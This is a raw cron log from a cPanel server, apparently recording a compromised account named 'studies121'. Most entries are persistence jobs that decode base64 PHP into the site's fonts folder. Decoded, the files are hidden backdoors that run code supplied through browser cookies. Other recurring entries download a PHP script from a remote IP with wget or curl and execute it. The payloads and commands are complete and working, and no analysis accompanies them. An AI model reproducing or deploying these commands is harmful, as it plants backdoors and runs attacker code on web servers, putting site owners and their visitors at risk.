Sep  8 00:46:01 ip-184-168-122-23 CROND[13261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:46:01 ip-184-168-122-23 CROND[13262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:46:01 ip-184-168-122-23 CROND[13259]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 00:46:01 ip-184-168-122-23 CROND[13257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:47:01 ip-184-168-122-23 CROND[13348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:47:01 ip-184-168-122-23 CROND[13347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:47:01 ip-184-168-122-23 CROND[13349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:47:01 ip-184-168-122-23 CROND[13350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:48:01 ip-184-168-122-23 CROND[13433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:48:01 ip-184-168-122-23 CROND[13436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:48:01 ip-184-168-122-23 CROND[13437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:48:01 ip-184-168-122-23 CROND[13435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:48:01 ip-184-168-122-23 CROND[13438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:49:01 ip-184-168-122-23 CROND[13524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:49:01 ip-184-168-122-23 CROND[13525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:49:01 ip-184-168-122-23 CROND[13526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:49:01 ip-184-168-122-23 CROND[13527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13693]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:50:02 ip-184-168-122-23 CROND[13696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:50:02 ip-184-168-122-23 CROND[13697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:50:02 ip-184-168-122-23 CROND[13704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:51:01 ip-184-168-122-23 CROND[13800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:51:01 ip-184-168-122-23 CROND[13802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:51:01 ip-184-168-122-23 CROND[13803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:51:01 ip-184-168-122-23 CROND[13801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:52:01 ip-184-168-122-23 CROND[13879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:52:01 ip-184-168-122-23 CROND[13880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:52:01 ip-184-168-122-23 CROND[13881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:52:01 ip-184-168-122-23 CROND[13882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:52:01 ip-184-168-122-23 CROND[13884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:53:01 ip-184-168-122-23 CROND[13965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:53:01 ip-184-168-122-23 CROND[13967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:53:01 ip-184-168-122-23 CROND[13968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:53:01 ip-184-168-122-23 CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:54:01 ip-184-168-122-23 CROND[14047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:54:01 ip-184-168-122-23 CROND[14048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:54:01 ip-184-168-122-23 CROND[14051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:54:01 ip-184-168-122-23 CROND[14050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:54:01 ip-184-168-122-23 CROND[14052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:55:01 ip-184-168-122-23 CROND[14159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:55:01 ip-184-168-122-23 CROND[14160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:55:01 ip-184-168-122-23 CROND[14162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:55:01 ip-184-168-122-23 CROND[14161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:55:01 ip-184-168-122-23 CROND[14163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:55:01 ip-184-168-122-23 CROND[14164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:56:01 ip-184-168-122-23 CROND[14344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:56:01 ip-184-168-122-23 CROND[14342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:56:01 ip-184-168-122-23 CROND[14343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:56:01 ip-184-168-122-23 CROND[14345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:56:01 ip-184-168-122-23 CROND[14346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:57:01 ip-184-168-122-23 CROND[14431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:57:01 ip-184-168-122-23 CROND[14435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:57:01 ip-184-168-122-23 CROND[14433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:57:01 ip-184-168-122-23 CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:58:01 ip-184-168-122-23 CROND[14512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 00:58:01 ip-184-168-122-23 CROND[14514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:58:01 ip-184-168-122-23 CROND[14515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
